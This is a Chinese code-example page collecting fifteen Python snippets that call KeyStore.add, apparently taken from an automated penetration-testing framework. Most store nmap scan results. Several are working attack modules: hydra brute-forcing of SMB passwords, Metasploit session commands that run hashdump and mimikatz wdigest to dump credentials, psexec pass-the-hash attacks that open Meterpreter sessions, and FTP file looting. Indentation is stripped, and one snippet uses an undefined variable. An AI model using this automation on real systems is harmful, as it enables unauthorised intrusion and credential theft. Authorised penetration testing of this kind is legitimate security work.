本文整理汇总了Python中core.keystore.KeyStore.add方法的典型用法代码示例。如果您正苦于以下问题:Python KeyStore.add方法的具体用法?Python KeyStore.add怎么用?Python KeyStore.add使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类core.keystore.KeyStore
的用法示例。
在下文中一共展示了KeyStore.add方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: processIPs
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import add [as 别名]
def processIPs(self, vector):
for host in self.nm.all_hosts():
good = False
for proto in self.nm[host].all_protocols():
if (good):
break
lport = list(self.nm[host][proto].keys())
lport.sort()
for port in lport:
if (good):
break
if (self.nm[host][proto][port]["state"] == "open"):
good = True
if (good):
kb.add('host/' + host)
# fire new event for "newHost"
EventHandler.fire("newIP" + ":" + vector)
# process ports
self.processPorts(host, vector)
# process hostscripts
if ("hostscript" in self.nm[host]):
self.processHostScripts(host, vector)
return
示例2: searchTarget
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import add [as 别名]
def searchTarget(self, target, port, username, password):
success = False
# start packet capture
cap = self.pktCap(filter="tcp and port " + str(port) + " and host " + target, packetcount=10, timeout=10,
srcip="", dstip=target)
try:
if (Utils.port_open(target, 21)):
# attempt to connect to the remote host
with ftputil.FTPHost(target, username, password) as host:
success = True
# get list of files and loop over them
recursive = host.walk("/", topdown=True, onerror=None)
for root, dirs, files in recursive:
for name in files:
for pattern in self.filepatterns:
match_list = fnmatch.filter(files, pattern)
for fname in match_list:
fpath = host.path.join(root, fname)
if host.path.isfile(fpath):
host.download(fpath, self.config["proofsDir"] + ip + fpath.replace("/", "_"))
host.close()
except ftputil.error.PermanentError:
self.display.error("Could not connect to %s on port 21" % (target))
outfile = self.config["proofsDir"] + self.shortName + "_PCAP_Port" + str(
port) + "_" + target + "_" + Utils.getRandStr(10)
Utils.writeFile(self.getPktCap(cap), outfile)
kb.add("host/" + target + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
return success
示例3: process
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import add [as 别名]
def process(self):
# load any targets we are interested in
self.getTargets()
# loop over each target
for t in self.targets:
# verify we have not tested this host before
if not self.seentarget(t):
# add the new IP to the already seen list
self.addseentarget(t)
self.display.verbose(self.shortName + " - Connecting to " + t)
# run nmap
n = mynmap(self.config, self.display)
scan_results = n.run(target=t, flags="--script=smb-enum-shares", ports="445", vector=self.vector,
filetag=t + "_SMBSHARESCAN")['scan']
tree = ET.parse(n.outfile + '.xml')
root = tree.getroot()
for table in root.iter('table'):
sharename = table.attrib["key"]
for elem in table:
if elem.text is not None:
kb.add("host/" + t + "/shares/SMB/" + sharename + "/" + str(elem.attrib['key'] + ": " + elem.text).replace("/", "%2F"))
return
示例4: processService
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import add [as 别名]
def processService(self, host, port, proto, service):
name = ""
product = ""
version = ""
for key, value in service.attrib.items():
if key == 'name':
name = value
if "http" in name:
if "https" in name:
name = "https"
elif "ssl" in name:
name = "https"
else:
name = "http"
original = value
# print "NMAP -- " + original + " -- " + name
elif key == 'product':
product = value
elif key == 'version':
version = value
# elif key == 'ostype':
# print value
# elif key == 'method':
# print value
# elif key == 'conf':
# print value
kb.add('service/' + name + '/' + host + '/' + proto + '/' + port + '/version/' + product + ' ' + version)
EventHandler.fire("newService_" + name + ":" + self.vector)
示例5: process
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import add [as 别名]
def process(self):
# load any targets we are interested in
self.getTargets()
# loop over each target
for t in self.targets:
users = self.getUsers(t)
self.display.verbose(self.shortName + " - Connecting to " + t)
for user in users:
# verify we have not tested this host before
if not self.seentarget(t + str(user)):
# add the new IP to the already seen list
self.addseentarget(t + str(user))
# make outfile
temp_file = self.config["proofsDir"] + self.shortName + "_" + t + "_" + Utils.getRandStr(10)
command = self.config["hydra"] + " -s 445 -l " + user + " -P " + self.config[
"miscDir"] + "passwords.txt smb://" + t
result = Utils.execWait(command, temp_file, timeout=30)
# Extract usernames & passwords from results and add to KB
parts = re.findall(".* login:\s\s*([^\s]*)\s\s*password:\s\s*([^\s]*)", result)
for part in parts:
self.fire("newSmbPassword")
self.addVuln(t, "guessable password", {"output": temp_file.replace("/", "%2F")})
self.display.debug(
"Identified username [" + part[0] + "] with password [" + part[1] + "] on " + t)
kb.add("creds/host/" + t + "/username/" + part[0].strip() + "/password/" + part[1].strip())
return
示例6: process
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import add [as 别名]
def process(self):
# load any targets we are interested in
self.getTargets()
for t in self.targets:
sessions = kb.get('host/' + t + '/msfSession')
if len(sessions) > 0:
# connect to msfrpc
msf = myMsf(host=self.config['msfhost'], port=self.config['msfport'], user=self.config['msfuser'],
password=self.config['msfpass'])
if msf.isAuthenticated():
# loop over each target
for s in sessions:
# verify we have not tested this session before
if not self.seentarget(s):
# add the new IP to the already seen list
self.addseentarget(s)
msf.execute("sessions -i " + str(s) + "\n")
msf.sleep(int(self.config['msfexploitdelay']))
msf.execute("getuid\n")
msf.sleep(int(self.config['msfexploitdelay']))
msf.execute("background\n")
outfile = self.config[
"proofsDir"] + self.shortName + "_GetUid_" + t + "_" + Utils.getRandStr(
10)
text = msf.getResult()
Utils.writeFile(text, outfile)
kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
for line in text.splitlines():
m = re.match(r'^\s*Server username: (.*)\s*', line)
if (m):
self.display.verbose("Metasploit Session [" + s +
"] running as user [" + m.group(1).strip() + "]")
msf.execute("sessions -i " + str(s) + "\n")
msf.sleep(int(self.config['msfexploitdelay']))
msf.execute("sysinfo\n")
msf.sleep(int(self.config['msfexploitdelay']))
msf.execute("background\n")
outfile = self.config[
"proofsDir"] + self.shortName + "_SysInfo_" + t + "_" + Utils.getRandStr(
10)
text = msf.getResult()
Utils.writeFile(text, outfile)
kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
for line in text.splitlines():
m = re.match(r'^\s*OS\s\s*: (.*)\s*', line)
if (m):
self.display.verbose("Metasploit Session [" + s +
"] running on OS [" + m.group(1).strip() + "]")
# clean up after ourselves
result = msf.cleanup()
return
示例7: process
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import add [as 别名]
def process(self):
# load any targets we are interested in
self.getTargets()
for t in self.targets:
sessions = kb.get('shell/' + t + '/msf')
if len(sessions) > 0:
# connect to msfrpc
msf = myMsf(host=self.config['msfhost'], port=self.config['msfport'], user=self.config['msfuser'],
password=self.config['msfpass'])
if msf.isAuthenticated():
# loop over each target
for s in sessions:
# verify we have not tested this session before
if not self.seentarget(s):
# add the new IP to the already seen list
self.addseentarget(s)
myMsf.lock.acquire()
msf.execute("sessions -i " + str(s) + "\n")
msf.sleep(int(self.config['msfexploitdelay']))
msf.execute("hashdump\n")
msf.sleep(int(self.config['msfexploitdelay']))
msf.execute("background\n")
msf.sleep(int(self.config['msfexploitdelay']))
# TODO - process results and store results in KB
# regex match on [^:]+:[^:]+:[^:]+:[^:]+:::
outfile = self.config[
"proofsDir"] + self.shortName + "_HashDump_" + t + "_" + Utils.getRandStr(
10)
text = msf.getResult()
myMsf.lock.release()
Utils.writeFile(text, outfile)
kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
msf.execute("sessions -i " + str(s) + "\n")
msf.sleep(int(self.config['msfexploitdelay']))
msf.execute("load mimikatz\n")
msf.sleep(int(self.config['msfexploitdelay']))
msf.execute("wdigest\n")
msf.sleep(int(self.config['msfexploitdelay']))
msf.execute("background\n")
# TODO - process results and store results in KB
outfile = self.config[
"proofsDir"] + self.shortName + "_Mimikatz_" + t + "_" + Utils.getRandStr(
10)
text = msf.getResult()
Utils.writeFile(text, outfile)
kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
# clean up after ourselves
result = msf.cleanup()
return
示例8: process
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import add [as 别名]
def process(self, inputfile):
contents = []
with open (inputfile, "r") as myfile:
contents = myfile.readlines()
for line in contents:
parts = line.strip().split(':=')
kb.add("osint/" + parts[0].lower() + "/" + parts[1])
self.fire("new" + parts[0])
return
示例9: processPort
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import add [as 别名]
def processPort(self, host, port):
state = port.find('state').attrib['state']
if state == "open":
portnum = port.attrib['portid']
proto = port.attrib['protocol']
kb.add('port/' + proto + '/' + portnum + '/' + host)
EventHandler.fire("newPort_" + proto + '_' + portnum + ":" + self.vector)
self.processService(host, portnum, proto, port.find('service'))
for script in port.findall('script'):
self.portScriptFunc (host, portnum, proto, script, self.outfile)
示例10: processService
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import add [as 别名]
def processService(self, host, port, proto, vector):
product = self.nm[host][proto][port]["product"]
version = self.nm[host][proto][port]["version"]
name = self.nm[host][proto][port]["name"]
kb.add('service/' + name + '/host/' + host + '/' + proto + 'port/' + str(
port) + '/product' + product + '/version/' + str(version))
# print 'service/' + name + '/host/' + host + '/' + proto + 'port/' + str(port) + '/product' + product +
# '/version/' + str(version)
EventHandler.fire("newService" + str(name) + ":" + vector)
if ("script" in self.nm[host][proto][port]):
self.processScript(host, port, proto, vector)
return
示例11: processIPs
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import add [as 别名]
def processIPs(self, vector):
for host in self.nm.all_hosts():
# print host
kb.add('host/' + host)
# fire new event for "newHost"
EventHandler.fire("newIP" + ":" + vector)
# process ports
self.processPorts(host, vector)
# process hostscripts
if ("hostscript" in self.nm[host]):
self.processHostScripts(host, vector)
return
示例12: processHost
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import add [as 别名]
def processHost(self, host):
ip = ""
for addr in host.findall('address'):
ip_tmp = addr.attrib['addr']
addrType = addr.attrib['addrtype']
if addrType == "ipv4":
ip = ip_tmp
kb.add('host/' + ip)
EventHandler.fire("newIP" + ":" + self.vector)
if host.find('hostname'):
for hostname in host.find('hostnames').findall('hostname'):
name = hostname.attrib['name']
kb.add('host/' + ip + '/dns/' + name)
return ip
示例13: processPorts
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import add [as 别名]
def processPorts(self, host, vector):
for proto in self.nm[host].all_protocols():
lport = list(self.nm[host][proto].keys())
lport.sort()
for port in lport:
if (self.nm[host][proto][port]["state"] == "open"):
# fire event for "newPortXXX"
kb.add('host/' + host + '/' + proto + 'port/' + str(port))
# print 'host/' + host + '/' + proto + 'port/' + str(port)
EventHandler.fire("newPort" + str(port) + ":" + vector)
# process services and info
self.processService(host, port, proto, vector)
return
示例14: process
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import add [as 别名]
def process(self):
# load any targets we are interested in
self.getTargets()
if len(self.targets) > 0:
# connect to msfrpc
msf = myMsf(host=self.config['msfhost'], port=self.config['msfport'], user=self.config['msfuser'],
password=self.config['msfpass'])
if not msf.isAuthenticated():
return
# loop over each target
for t in self.targets:
users = kb.get("host/" + t + "/user")
for user in users:
hashes = kb.get ("host/" + t + "/user/" + user + "/fullhash")
for passhash in hashes:
# verify we have not tested this host before
if not self.seentarget(t+user+passhash):
# add the new IP to the already seen list
self.addseentarget(t+user+passhash)
self.display.verbose(self.shortName + " - Connecting to " + t)
msf.execute("use exploit/windows/smb/psexec\n")
# msf.execute("set PAYLOAD windows/meterpreter/bind_tcp\n")
# msf.execute("set LHOST %s\n" % self.config['lhost'])
# msf.execute("set LPORT %i\n" % int(Utils.getUnusedPort()))
# msf.execute("set LPORT 4444\n")
msf.execute("set RPORT 445\n")
msf.execute("set RHOST " + t + "\n")
msf.execute("set SMBUser " + user + "\n")
msf.execute("set SMBPass " + passhash + "\n")
msf.execute("exploit -j\n")
msf.sleep(int(self.config['msfexploitdelay']))
outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + Utils.getRandStr(10)
result = msf.getResult()
Utils.writeFile(result, outfile)
kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
parts = re.findall(".*Meterpreter session (\d+) opened.*", result)
for part in parts:
self.fire("msfSession")
self.display.verbose("NEW session on : " + t)
kb.add("host/" + t + "/msfSession/" + str(part))
# clean up after ourselves
result = msf.cleanup()
return
示例15: process
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import add [as 别名]
def process(self):
# load any targets we are interested in
self.getTargets()
if len(self.targets) > 0:
# connect to msfrpc
msf = myMsf(host=self.config['msfhost'], port=int(self.config['msfport']), user=self.config['msfuser'],
password=self.config['msfpass'])
if not msf.isAuthenticated():
return
# loop over each target
for t in self.targets:
# verify we have not tested this host before
if not self.seentarget(t):
# add the new IP to the already seen list
self.addseentarget(t)
self.display.verbose(self.shortName + " - Connecting to " + t)
# Get list of working community strings for this host
comStrings = kb.get("vuln/host/" + t + "/snmpCred/communityString")
for comString in comStrings:
myMsf.lock.acquire()
msf.execute("use auxiliary/scanner/snmp/snmp_enumshares\n")
msf.execute("set RHOSTS %s\n" % t)
msf.execute("set COMMUNITY %s\n" % comString)
msf.execute("exploit\n")
msf.sleep(int(self.config['msfexploitdelay']))
result = msf.getResult()
while (re.search(".*execution completed.*", result) is None):
result = result + msf.getResult()
myMsf.lock.release()
outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + Utils.getRandStr(10)
Utils.writeFile(result, outfile)
kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
# Don't need to parse out IP, we are running module one IP at a time
# Just find lines with - and pull out share name
parts = re.findall(".* - .*", result)
for part in parts:
sharename = (part.split('-')[0]).strip()
kb.add("share/smb/" + t + "/" + sharename)
# clean up after ourselves
result = msf.cleanup()
return